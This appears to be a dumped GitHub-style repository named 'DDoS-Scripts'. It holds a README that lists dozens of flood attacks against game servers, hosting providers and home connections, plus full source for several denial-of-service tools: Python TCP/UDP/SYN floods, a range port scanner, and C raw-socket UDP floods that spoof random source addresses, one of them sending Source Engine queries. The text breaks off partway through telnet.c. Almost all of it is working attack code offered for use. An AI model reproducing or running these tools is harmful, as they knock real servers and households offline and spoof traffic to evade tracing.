├── std.c.c
├── portscan.py.py
├── god-flood(tcp
├── god-flood-v2(tcp
├── README.md
├── rawudp.c.c
├── vse.c.c
├── telnet.c.c
├── ntp_scanner.c.c
├── ack.c.c
├── syn.c.c
├── dominate.c.c
├── ntp.c.c
├── rssyn.c.c
├── xack.c.c
├── sack.c.c
├── essyn.c.c
├── xsyn.c.c
├── ssdp.c.c
├── dns_scanner.c.c
├── ssdp_scanner.c.c
├── dns.c.c
├── Flood.c
└── kaitenstd.c.c


/std.c.c:
--------------------------------------------------------------------------------
 1 | #define STD2_STRING "std"
 2 | #define STD2_SIZE 50
 3 |  
 4 | #include <stdio.h>
 5 | #include <sys/param.h>
 6 | #include <sys/socket.h>
 7 | #include <netinet/in.h>
 8 | #include <netdb.h>
 9 | #include <stdarg.h>
10 |  
11 | int echo_connect(char *, short);
12 |  
13 | int echo_connect(char *server, short port)
14 | {
15 |    struct sockaddr_in sin;
16 |    struct hostent *hp;
17 |    int thesock;
18 |    hp = gethostbyname(server);
19 |    if (hp==NULL) {
20 |       printf("Unknown host: %s\n",server);
21 |       exit(0);
22 |    }
23 |    printf(" STD.C -- Packeting %s:%d\n ", server, port);
24 |    bzero((char*) &sin,sizeof(sin));
25 |    bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
26 |    sin.sin_family = hp->h_addrtype;
27 |    sin.sin_port = htons(port);
28 |    thesock = socket(AF_INET, SOCK_DGRAM, 0);
29 |    connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
30 |    return thesock;
31 | }
32 |  
33 |  
34 | main(int argc, char **argv)
35 | {
36 |    int s;
37 |    if(argc != 3)
38 |    {
39 |       fprintf(stderr, "[STD2.C BY STACKD] Syntax: %s host port\n",argv[0]);
40 |       exit(0);
41 |    }
42 |    s=echo_connect(argv[1], atoi(argv[2]));
43 |    for(;;)
44 |    {
45 |       send(s, STD2_STRING, STD2_SIZE, 0);
46 |    }
47 | }


--------------------------------------------------------------------------------
/portscan.py.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | #Made By LiGhT
 3 | 
 4 | import socket, sys, os, threading
 5 | 
 6 | if len(sys.argv) < 5:
 7 | 	sys.exit("Usage: python "+sys.argv[0]+" [start-range] [end-range] [port] [output-file]")
 8 | 	sys.exit()
 9 | 
10 | port = int(sys.argv[3])
11 | outputF = sys.argv[4]
12 | 
13 | def ipRange(start_ip, end_ip):
14 | 	start = list(map(int, start_ip.split(".")))
15 | 	end = list(map(int, end_ip.split(".")))
16 | 	temp = start
17 | 	ip_range = []
18 | 
19 | 	ip_range.append(start_ip)
20 | 	while temp != end:
21 | 		start[3] += 1
22 | 		for i in (3, 2, 1):
23 | 			if temp[i] == 256:
24 | 				temp[i] = 0
25 | 				temp[i-1] += 1
26 | 		ip_range.append(".".join(map(str, temp)))    
27 | 
28 | 	return ip_range
29 | 
30 | class p0r75c4n(threading.Thread):
31 | 	def __init__ (self, ip):
32 | 		threading.Thread.__init__(self)
33 | 	def run(self):
34 | 		x = 1
35 | 		while x != 0:
36 | 			try:
37 | 				sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
38 | 				result = sock.connect_ex((ip, port))
39 | 				if result == 0:
40 | 					os.system("echo "+ip+" >> "+outputF+"")
41 | 					print "\033[32mGood:\033[37m "+ip
42 | 				elif result != 0:
43 | 					print "\033[31mBad:\033[37m "+ip
44 | 				sock.close()
45 | 			except:
46 | 				pass
47 | 			x = 0
48 | ip_range = ipRange("" +sys.argv[1], "" +sys.argv[2])
49 | for ip in ip_range:
50 | 	try:
51 | 		t = p0r75c4n(ip)
52 | 		t.start()
53 | 	except:
54 | 		pass #MAY CRASH SERVER LMFAOOO DRUNK AF WHEN MADE THS


--------------------------------------------------------------------------------
/god-flood(tcp:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | # God-Flood by LiGhT
 3 | import socket, random, time, os, sys
 4 | 
 5 | if len(sys.argv) < 5:
 6 |         print "God-Flood By LiGhT"
 7 |         sys.exit("Usage: python "+sys.argv[0]+" <ip> <port> <size> <time>")
 8 | 
 9 | ip = sys.argv[1]
10 | port = int(sys.argv[2])
11 | size = int(sys.argv[3])
12 | t1m3 = int(sys.argv[4])
13 | timeout = time.time() + t1m3
14 | sent = 0
15 | data = 'f1a525da11f6'.decode('hex')
16 | while True:
17 |         try:
18 |                 if time.time() > timeout:
19 |                         break
20 |                 else:
21 |                         pass
22 |                 udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
23 |                 syn = socket.socket()
24 |                 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
25 |                 if port == "0":
26 |                         port = random.randrange(1, 65535)
27 |                 s.connect((ip, port))
28 |                 s.send(data)
29 |                 bytes = random._urandom(size)
30 |                 syn.connect((ip, port))
31 |                 udp.sendto(bytes,(ip, port))
32 |                 sent = sent + 1
33 |                 print "DuMPiNG TaRGeT: %s | PoRT: %s | SiZe: %s | TiMe: %s | PaCKeT: %s"%(ip, port, size, t1m3, sent)
34 | 				#sys.stdout.write("\x1b]2;Total Packets Sent: %s\x07" % sent)
35 |         except KeyboardInterrupt:
36 |                 print " Stopping Flood!"
37 |                 sys.exit()
38 |         except socket.error, msg:
39 |                 print "Socket Couldn't Connect"
40 |                 sys.exit()


--------------------------------------------------------------------------------
/god-flood-v2(tcp:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | #God-Flood(tcp,syn,udp) by LiGhT
 3 | import threading, sys, time, random, socket
 4 | 
 5 | if len(sys.argv) < 4:
 6 |     print "God-Flood By LiGhT"
 7 |     sys.exit("Usage: python "+sys.argv[0]+" <ip> <port> <size>")
 8 | 
 9 | ip = sys.argv[1]
10 | port = int(sys.argv[2])
11 | size = int(sys.argv[3])
12 | packets = int(sys.argv[3])
13 | 
14 | class syn(threading.Thread):
15 |     def __init__(self, ip, port, packets):
16 |         self.ip = ip
17 |         self.port = port
18 |         self.packets = packets
19 |         self.syn = socket.socket()
20 |         threading.Thread.__init__(self)
21 |     def run(self):
22 |         for i in range(self.packets):
23 |             try:
24 |                 self.syn.connect((self.ip, self.port))
25 |             except:
26 |                 pass
27 | 
28 | class tcp(threading.Thread):
29 |     def __init__(self, ip, port, size, packets):
30 |         self.ip = ip
31 |         self.port = port
32 |         self.size = size
33 |         self.packets = packets
34 |         self.tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
35 |         threading.Thread.__init__(self)
36 |     def run(self):
37 |         for i in range(self.packets):
38 |             try:
39 |                 bytes = random._urandom(self.size)
40 |                 socket.connect(self.ip, self.port)
41 |                 socket.setblocking(0)
42 |                 socket.sendto(bytes,(self.ip, self.port))
43 |             except:
44 |                 pass
45 | 
46 | class udp(threading.Thread):
47 |     def __init__(self, ip, port, size, packets):
48 |         self.ip = ip
49 |         self.port = port
50 |         self.size = size
51 |         self.packets = packets
52 |         self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
53 |         threading.Thread.__init__(self)
54 |     def run(self):
55 |         for i in range(self.packets):
56 |             try:
57 |                 bytes = random._urandom(self.size)
58 |                 if self.port == 0:
59 |                     self.port = random.randrange(1, 65535)
60 |                 self.udp.sendto(bytes,(self.ip, self.port))
61 |             except:
62 |                 pass
63 | 
64 | while True:
65 |     try:
66 |         if size > 65507:
67 |             sys.exit("Invalid Number Of Packets!")
68 |         u = udp(ip,port,size,packets)
69 |         t = tcp(ip,port,size,packets)
70 |         s = syn(ip,port,packets)
71 |         u.start()
72 |         t.start()
73 |         s.start()
74 |     except KeyboardInterrupt:
75 |         print "Stopping Flood!"
76 |         sys.exit()
77 |     except socket.error, msg:
78 |         print "Socket Couldn't Connect"
79 |         sys.exit()


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # DDoS-Scripts
 2 | [Random Collection of DoS Scripts, includes AMP, Dos and DDOS Scripts all the same shit lulz]
 3 | 
 4 | 
 5 | 
 6 | 
 7 | 
 8 | LIST of Attacks {Currently Collecting}
 9 | ----------------------------------------------------------------------------------------------------------------------------------------
10 | Name	                            Utilisation	Ports	Type
11 | XML-RPC	                         Site web	80	LAYER 7 - VIP
12 | JOOMLA	                         Site web	80	LAYER 7 - VIP
13 | Js-ByPass	                       Site web	80	LAYER 7 - VIP
14 | BoostHTTP	                       Site web	80	LAYER 7 - BASIC
15 | BasicDNS	    Servers or home connections	80, 3724	LAYER 4
16 | ESSYN	Basic |                    Servers	80, 3724	LAYER 4
17 | SSYN	Basic |                    Servers	UDP Game Servers	LAYER 4
18 | STORM	                           Servers	80, 443, 8080	LAYER 4
19 | SSDP	        Servers or home connections	UDP Game Servers	LAYER 4
20 | CHARGEN	      Servers or home connections	80, 443, 8080	LAYER 4
21 | NTP	          Servers or home connections	TCP Services	LAYER 4
22 | DOMINATE	                       TCP based servers	9987	LAYER 4
23 | ACK	                             TCP based servers	9987	LAYER 4
24 | SNMP	                           Servers	80	LAYER 4
25 | TELNET	                         Servers	80	LAYER 4
26 | BasicTS3	   Application layer flood for teamspeak	80	LAYER 4
27 | SynACK	                         Advanced	80, 443, 8080	LAYER 4
28 | xACK	                           Advanced	UDP Game Servers	LAYER 4
29 | xSYN	                           Advanced	UDP Game Servers	LAYER 4
30 | ZAP	                             Servers	80	LAYER 4
31 | sUDP	                           Servers	80	LAYER 4
32 | sTCP	                           Servers	80	LAYER 4
33 | UDP-BYPASS	Home connections bypass and basic servers	80	LAYER 4
34 | Home	                           Home connections	80	LAYER 4
35 | TFTP	                           Servers	80	LAYER 4 
36 | PORTMAP	                         Servers	80	LAYER 4
37 | FRAGMENTATION	                   Servers	80	LAYER 4
38 | BasicVSE	Basic Valve Source Engine servers	80	LAYER 4
39 | HAVEN	                           Servers	80	LAYER 4
40 | LDAP	                           Servers	80	LAYER 4 -VIP
41 | OVX-DROP	                       Servers OVH	80	LAYER 4 -VIP
42 | OVH-DROP	                       Servers OVH	80	LAYER 4 -VIP
43 | NFO-LAGGER	                     Servers NFO Nuclear	80	LAYER 4 -VIP
44 | PRO-UDP	                         Servers	80	LAYER 4 -VIP
45 | VSE	                             Valve Source Engine servers	80	LAYER 4 -VIP
46 | VSA	                             Valve Source Engine servers	80	LAYER 4 -VIP
47 | XMAS	                           Servers	80	LAYER 4 -VIP
48 | WIZARD	                         Servers	80	LAYER 4 -VIP
49 | YUBINA9	                         Servers	80	LAYER 4 -VIP
50 | EBOLA	                           Servers	80	LAYER 4 -VIP
51 | GreenSYN	                       Servers	80	LAYER 4 -VIP
52 | OVH-Tempest	                     Servers OVH-GAME	80	LAYER 4 -VIP
53 | GRENADE	                         Servers	80	LAYER 4 -VIP
54 | SENTINEL	                       Servers	80	LAYER 4 -VIP
55 | FIN	                             Servers	80	LAYER 4 -VIP
56 | ABUSE	                           Servers	80	LAYER 4 -VIP
57 | XTS3	                           Servers	80	LAYER 4 -VIP
58 | GTAFUCK	                         GTA SERVERS	80	LAYER 4 -VIP
59 | MCBOT	                           MC SERVERS	80	LAYER 4 -VIP
60 | HomeV2	                         Home connections	80	LAYER 4 -VIP
61 | nOk	ABUSE                        Servers	80	LAYER 4 -VIP
62 | SourceOVH	Basic 2015 |           OVH	80	LAYER 4 -VIP
63 | OVZ	                             Servers OVH	80	LAYER 4 -VIP
64 | OVR	                             Servers OVH	80	LAYER 4 -VIP
65 | TCP-SE	                         SERVERS	80	LAYER 4 -VIP
66 | TCP-RST	                         SERVERS	80	LAYER 4 -VIP
67 | TCP-PSH	                         SERVERS	80	LAYER 4 -VIP
68 | TCP-FIN	                         SERVERS	80	LAYER 4 -VIP
69 | TCP-XMAS	                       SERVERS	80	LAYER 4 -VIP
70 | ZSYN	Advanced |                 Servers	80	LAYER 4 -VIP
71 | CSYN	Advanced |                 Servers	80	LAYER 4 -VIP
72 | ISSYN	Advanced |                 Servers	80	LAYER 4 -VIP
73 | XTSX	                           Application layer flood for teamspeak	80	LAYER 4 -VIP
74 | A2S	                             Player Query Spam | CSS,CSGO,Arma3 etc	80	LAYER 4 -VIP
75 | TS3FUCK	                         Application layer flood for teamspeak	80	LAYER 4 -VIP
76 | TS3DROP	                         Application layer flood for teamspeak	80	LAYER 4 -VIP
77 | Security	Basic 2016 |           OVH,NFO, & CloudFlare	80	LAYER 4 -VIP
78 | 


--------------------------------------------------------------------------------
/rawudp.c.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |         This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
  3 | */
  4 | #include <time.h>
  5 | #include <pthread.h>
  6 | #include <unistd.h>
  7 | #include <stdio.h>
  8 | #include <stdlib.h>
  9 | #include <string.h>
 10 | #include <sys/socket.h>
 11 | #include <netinet/ip.h>
 12 | #include <netinet/udp.h>
 13 | #define MAX_PACKET_SIZE 4096
 14 | #define PHI 0x9e3779b9
 15 | static uint32_t Q[4096], c = 362436;
 16 | struct thread_data{
 17 |         int throttle;
 18 |         int thread_id;
 19 |         struct sockaddr_in sin;
 20 | };
 21 | void init_rand(uint32_t x)
 22 | {
 23 |         int i;
 24 |         Q[0] = x;
 25 |         Q[1] = x + PHI;
 26 |         Q[2] = x + PHI + PHI;
 27 |  
 28 |         for (i = 3; i < 4096; i++)
 29 |                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 30 | }
 31 | uint32_t rand_cmwc(void)
 32 | {
 33 |         uint64_t t, a = 18782LL;
 34 |         static uint32_t i = 4095;
 35 |         uint32_t x, r = 0xfffffffe;
 36 |         i = (i + 1) & 4095;
 37 |         t = a * Q[i] + c;
 38 |         c = (t >> 32);
 39 |         x = t + c;
 40 |         if (x < c) {
 41 |                 x++;
 42 |                 c++;
 43 |         }
 44 |         return (Q[i] = r - x);
 45 | }
 46 | char *myStrCat (char *s, char *a) {
 47 |     while (*s != '\0') s++;
 48 |     while (*a != '\0') *s++ = *a++;
 49 |     *s = '\0';
 50 |     return s;
 51 | }
 52 | char *replStr (char *str, size_t count) {
 53 |     if (count == 0) return NULL;
 54 |     char *ret = malloc (strlen (str) * count + count);
 55 |     if (ret == NULL) return NULL;
 56 |     *ret = '\0';
 57 |     char *tmp = myStrCat (ret, str);
 58 |     while (--count > 0) {
 59 |         tmp = myStrCat (tmp, str);
 60 |     }
 61 |     return ret;
 62 | }
 63 | unsigned short csum (unsigned short *buf, int nwords)
 64 | {
 65 |   unsigned long sum;
 66 |   for (sum = 0; nwords > 0; nwords--)
 67 |   sum += *buf++;
 68 |   sum = (sum >> 16) + (sum & 0xffff);
 69 |   sum += (sum >> 16);
 70 |   return (unsigned short)(~sum);
 71 | }
 72 | void setup_ip_header(struct iphdr *iph)
 73 | {
 74 |   iph->ihl = 5;
 75 |   iph->version = 4;
 76 |   iph->tos = 0;
 77 |   iph->tot_len = sizeof(struct iphdr) + 1028;
 78 |   iph->id = htonl(54321);
 79 |   iph->frag_off = 0;
 80 |   iph->ttl = MAXTTL;
 81 |   iph->protocol = IPPROTO_UDP;
 82 |   iph->check = 0;
 83 |   iph->saddr = inet_addr("192.168.3.100");
 84 | }
 85 | void setup_udp_header(struct udphdr *udph)
 86 | {
 87 |   udph->source = htons(5678);
 88 |   udph->check = 0;
 89 |   char *data = (char *)udph + sizeof(struct udphdr);
 90 |   data = replStr("\xFF" "\xFF" "\xFF" "\xFF", 256);
 91 |   udph->len=htons(1028);
 92 | }
 93 | void *flood(void *par1)
 94 | {
 95 |   struct thread_data *td = (struct thread_data *)par1;
 96 |   char datagram[MAX_PACKET_SIZE];
 97 |   struct iphdr *iph = (struct iphdr *)datagram;
 98 |   struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 99 |   struct sockaddr_in sin = td->sin;
100 |   char new_ip[sizeof "255.255.255.255"];
101 |   int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
102 |   if(s < 0){
103 |     fprintf(stderr, "Could not open raw socket.\n");
104 |     exit(-1);
105 |   }
106 |   memset(datagram, 0, MAX_PACKET_SIZE);
107 |   setup_ip_header(iph);
108 |   setup_udp_header(udph);
109 |   udph->dest = htons (rand() % 20480);
110 |   iph->daddr = sin.sin_addr.s_addr;
111 |   iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
112 |   int tmp = 1;
113 |   const int *val = &tmp;
114 |   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
115 |     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
116 |     exit(-1);
117 |   }
118 |   int throttle = td->throttle;
119 |   uint32_t random_num;
120 |   uint32_t ul_dst;
121 |   init_rand(time(NULL));
122 |   if(throttle == 0){
123 |     while(1){
124 |       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
125 |       random_num = rand_cmwc();
126 |       ul_dst = (random_num >> 24 & 0xFF) << 24 |
127 |                (random_num >> 16 & 0xFF) << 16 |
128 |                (random_num >> 8 & 0xFF) << 8 |
129 |                (random_num & 0xFF);
130 |  
131 |       iph->saddr = ul_dst;
132 |       udph->source = htons(random_num & 0xFFFF);
133 |       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
134 |     }
135 |   } else {
136 |     while(1){
137 |       throttle = td->throttle;
138 |       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
139 |       random_num = rand_cmwc();
140 |       ul_dst = (random_num >> 24 & 0xFF) << 24 |
141 |                (random_num >> 16 & 0xFF) << 16 |
142 |                (random_num >> 8 & 0xFF) << 8 |
143 |                (random_num & 0xFF);
144 |  
145 |       iph->saddr = ul_dst;
146 |       udph->source = htons(random_num & 0xFFFF);
147 |       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
148 |      while(--throttle);
149 |     }
150 |   }
151 | }
152 | int main(int argc, char *argv[ ])
153 | {
154 |   if(argc < 4){
155 |     fprintf(stderr, "Invalid parameters!\n");
156 |     fprintf(stdout, "Usage: %s <IP> <throttle> <threads> <time>\n", argv[0]);
157 |     exit(-1);
158 |   }
159 |   fprintf(stdout, "Setting up Sockets...\n");
160 |   int num_threads = atoi(argv[3]);
161 |   pthread_t thread[num_threads];
162 |   struct sockaddr_in sin;
163 |   sin.sin_family = AF_INET;
164 |   sin.sin_port = htons (rand() % 20480);
165 |   sin.sin_addr.s_addr = inet_addr(argv[1]);
166 |   struct thread_data td[num_threads];
167 |   int i;
168 |   for(i = 0;i<num_threads;i++){
169 |     td[i].thread_id = i;
170 |     td[i].sin = sin;
171 |     td[i].throttle = atoi(argv[2]);
172 |     pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
173 |   }
174 |   fprintf(stdout, "Starting Flood...\n");
175 |   if(argc > 5)
176 |   {
177 |     sleep(atoi(argv[4]));
178 |   } else {
179 |     while(1){
180 |       sleep(1);
181 |     }
182 |   }
183 |   return 0;
184 | }


--------------------------------------------------------------------------------
/vse.c.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * Valve Source Engine Layer 7 by LSDEV
  3 |  */
  4 |  
  5 | #include <pthread.h>
  6 | #include <unistd.h>
  7 | #include <stdio.h>
  8 | #include <stdlib.h>
  9 | #include <string.h>
 10 | #include <sys/socket.h>
 11 | #include <netinet/ip.h>
 12 | #include <netinet/udp.h>
 13 |  
 14 | #define MAX_PACKET_SIZE 4096
 15 | #define PHI 0x9e3779b9
 16 |  
 17 | static unsigned long int Q[4096], c = 362436;
 18 | static unsigned int floodport;
 19 | volatile int limiter;
 20 | volatile unsigned int pps;
 21 | volatile unsigned int sleeptime = 100;
 22 |  
 23 | void init_rand(unsigned long int x)
 24 | {
 25 |         int i;
 26 |         Q[0] = x;
 27 |         Q[1] = x + PHI;
 28 |         Q[2] = x + PHI + PHI;
 29 |         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 30 | }
 31 | unsigned long int rand_cmwc(void)
 32 | {
 33 |         unsigned long long int t, a = 18782LL;
 34 |         static unsigned long int i = 4095;
 35 |         unsigned long int x, r = 0xfffffffe;
 36 |         i = (i + 1) & 4095;
 37 |         t = a * Q[i] + c;
 38 |         c = (t >> 32);
 39 |         x = t + c;
 40 |         if (x < c) {
 41 |                 x++;
 42 |                 c++;
 43 |         }
 44 |         return (Q[i] = r - x);
 45 | }
 46 | unsigned short csum (unsigned short *buf, int count)
 47 | {
 48 |         register unsigned long sum = 0;
 49 |         while( count > 1 ) { sum += *buf++; count -= 2; }
 50 |         if(count > 0) { sum += *(unsigned char *)buf; }
 51 |         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 52 |         return (unsigned short)(~sum);
 53 | }
 54 |  
 55 | void setup_ip_header(struct iphdr *iph)
 56 | {
 57 |         iph->ihl = 5;
 58 |         iph->version = 4;
 59 |         iph->tos = 0;
 60 |         iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 25;
 61 |         iph->id = htonl(54321);
 62 |         iph->frag_off = 0;
 63 |         iph->ttl = MAXTTL;
 64 |         iph->protocol = IPPROTO_UDP;
 65 |         iph->check = 0;
 66 |         iph->saddr = inet_addr("192.168.3.100");
 67 | }
 68 |  
 69 | void setup_udp_header(struct udphdr *udph)
 70 | {
 71 |         udph->source = htons(27015);
 72 |     udph->dest = htons(27015);
 73 |     udph->check = 0;
 74 |         void *data = (void *)udph + sizeof(struct udphdr);
 75 |         memset(data, 0xFF, 4);
 76 |         strcpy(data+4, "TSource Engine Query");
 77 |     udph->len=htons(sizeof(struct udphdr) + 25);
 78 | }
 79 |  
 80 | void *flood(void *par1)
 81 | {
 82 |         char *td = (char *)par1;
 83 |         char datagram[MAX_PACKET_SIZE];
 84 |         struct iphdr *iph = (struct iphdr *)datagram;
 85 |         struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
 86 |        
 87 |         struct sockaddr_in sin;
 88 |         sin.sin_family = AF_INET;
 89 |         sin.sin_port = htons(17015);
 90 |         sin.sin_addr.s_addr = inet_addr(td);
 91 |  
 92 |         int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
 93 |         if(s < 0){
 94 |                 fprintf(stderr, "Could not open raw socket.\n");
 95 |                 exit(-1);
 96 |         }
 97 |         memset(datagram, 0, MAX_PACKET_SIZE);
 98 |         setup_ip_header(iph);
 99 |         setup_udp_header(udph);
100 |  
101 |         iph->daddr = sin.sin_addr.s_addr;
102 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
103 |  
104 |         int tmp = 1;
105 |         const int *val = &tmp;
106 |         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
107 |                 fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
108 |                 exit(-1);
109 |         }
110 |  
111 |         init_rand(time(NULL));
112 |         register unsigned int i;
113 |         i = 0;
114 |         while(1){
115 |                 sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
116 |                 iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
117 |                 iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
118 |                 iph->check = csum ((unsigned short *) datagram, iph->tot_len);
119 |                
120 |                 pps++;
121 |                 if(i >= limiter)
122 |                 {
123 |                         i = 0;
124 |                         usleep(sleeptime);
125 |                 }
126 |                 i++;
127 |         }
128 | }
129 | int main(int argc, char *argv[ ])
130 | {
131 |         if(argc < 5){
132 |                 fprintf(stderr, "Invalid parameters!\n");
133 |                 fprintf(stdout, "Valve Source Engine Layer 7 by LSDEV\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
134 |                 exit(-1);
135 |         }
136 |  
137 |         fprintf(stdout, "Setting up Sockets...\n");
138 |  
139 |         int num_threads = atoi(argv[2]);
140 |         int maxpps = atoi(argv[3]);
141 |         limiter = 0;
142 |         pps = 0;
143 |         pthread_t thread[num_threads];
144 |        
145 |         int multiplier = 20;
146 |  
147 |         int i;
148 |         for(i = 0;i<num_threads;i++){
149 |                 pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
150 |         }
151 |         fprintf(stdout, "Starting Flood...\n");
152 |         for(i = 0;i<(atoi(argv[4])*multiplier);i++)
153 |         {
154 |                 usleep((1000/multiplier)*1000);
155 |                 if((pps*multiplier) > maxpps)
156 |                 {
157 |                         if(1 > limiter)
158 |                         {
159 |                                 sleeptime+=100;
160 |                         } else {
161 |                                 limiter--;
162 |                         }
163 |                 } else {
164 |                         limiter++;
165 |                         if(sleeptime > 25)
166 |                         {
167 |                                 sleeptime-=25;
168 |                         } else {
169 |                                 sleeptime = 0;
170 |                         }
171 |                 }
172 |                 pps = 0;
173 |         }
174 |  
175 |         return 0;
176 | }


--------------------------------------------------------------------------------
/telnet.c.c:
--------------------------------------------------------------------------------
  1 | #include <pthread.h>
  2 | #include <unistd.h>
  3 | #include <stdio.h>
  4 | #include <stdlib.h>
  5 | #include <string.h>
  6 | #include <sys/socket.h>
  7 | #include <netinet/ip.h>
  8 | #include <netinet/udp.h>
  9 |  
 10 | #define MAX_PACKET_SIZE 4096
 11 | #define PHI 0x9e3779b9
 12 |  
 13 | static unsigned long int Q[4096], c = 362436;
 14 | static unsigned int floodport;
 15 | volatile int limiter;
 16 | volatile unsigned int pps;
 17 | volatile unsigned int sleeptime = 100;
 18 |  
 19 | void init_rand(unsigned long int x)
 20 | {
 21 |         int i;
 22 |         Q[0] = x;
 23 |         Q[1] = x + PHI;
 24 |         Q[2] = x + PHI + PHI;
 25 |         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 26 | }
 27 | unsigned long int rand_cmwc(void)
 28 | {
 29 |         unsigned long long int t, a = 18782LL;
 30 |         static unsigned long int i = 4095;
 31 |         unsigned long int x, r = 0xfffffffe;
 32 |         i = (i + 1) & 4095;
 33 |         t = a * Q[i] + c;
 34 |         c = (t >> 32);
 35 |         x = t + c;
 36 |         if (x < c) {
 37 |                 x++;
 38 |                 c++;
 39 |         }
 40 |         return (Q[i] = r - x);
 41 | }
 42 | unsigned short csum (unsigned short *buf, int count)
 43 | {
 44 |         register unsigned long sum = 0;
 45 |         while( count > 1 ) { sum += *buf++; count -= 2; }
 46 |         if(count > 0) { sum += *(unsigned char *)buf; }
 47 |         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 48 |         return (unsigned short)(~sum);
 49 | }
 50 |  
 51 | void setup_ip_header(struct iphdr *iph)
 52 | {
 53 |         iph->ihl = 5;
 54 |         iph->version = 4;
 55 |         iph->tos = 0;
 56 |         iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 33;
 57 |         iph->id = htonl(54321);
 58 |         iph->frag_off = 0;
 59 |         iph->ttl = MAXTTL;
 60 |         iph->protocol = IPPROTO_UDP;
 61 |         iph->check = 0;
 62 |         iph->saddr = inet_addr("192.168.3.100");
 63 | }
 64 |  
 65 | void setup_udp_header(struct udphdr *udph)
 66 | {
 67 |         udph->source = htons(27015);
 68 |     udph->dest = htons(27015);
 69 |     udph->check = 0;
 70 |         void *data = (void *)udph + sizeof(struct udphdr);
 71 |         memset(data, 0xFF, 4);
 72 |         strcpy(data+4, "\xff\xfb\x25\xff\xfd\x26\xff\xfb\x26\xff\xfd\x03\xff\xfb\x18\xff\xfb\x1f\xff\xfb\x20\xff\xfb\x21\xff\xfb\x22\xff\xfb\x27\xff\xfd\x05");
 73 |     udph->len=htons(sizeof(struct udphdr) + 33);
 74 | }
 75 |  
 76 | void *flood(void *par1)
 77 | {
 78 |         char *td = (char *)par1;
 79 |         char datagram[MAX_PACKET_SIZE];
 80 |         struct iphdr *iph = (struct iphdr *)datagram;
 81 |         struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
 82 |        
 83 |         struct sockaddr_in sin;
 84 |         sin.sin_family = AF_INET;
 85 |         sin.sin_port = htons(17015);
 86 |         sin.sin_addr.s_addr = inet_addr(td);
 87 |  
 88 |         int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
 89 |         if(s < 0){
 90 |                 fprintf(stderr, "Could not open raw socket.\n");
 91 |                 exit(-1);
 92 |         }
 93 |         memset(datagram, 0, MAX_PACKET_SIZE);
 94 |         setup_ip_header(iph);
 95 |         setup_udp_header(udph);
 96 |  
 97 |         iph->daddr = sin.sin_addr.s_addr;
 98 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
 99 |  
100 |         int tmp = 1;
101 |         const int *val = &tmp;
102 |         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
103 |                 fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
104 |                 exit(-1);
105 |         }
106 |  
107 |         init_rand(time(NULL));
108 |         register unsigned int i;
109 |         i = 0;
110 |         while(1){
111 |                 sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
112 |                 iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
113 |                 iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
114 |                 iph->check = csum ((unsigned short *) datagram, iph->tot_len);
115 |                
116 |                 pps++;
117 |                 if(i >= limiter)
118 |                 {
119 |                         i = 0;
120 |                         usleep(sleeptime);
121 |                 }
122 |                 i++;
123 |         }
124 | }
125 | int main(int argc, char *argv[ ])
126 | {
127 |         if(argc < 5){
128 |                 fprintf(stderr, "Invalid parameters!\n");
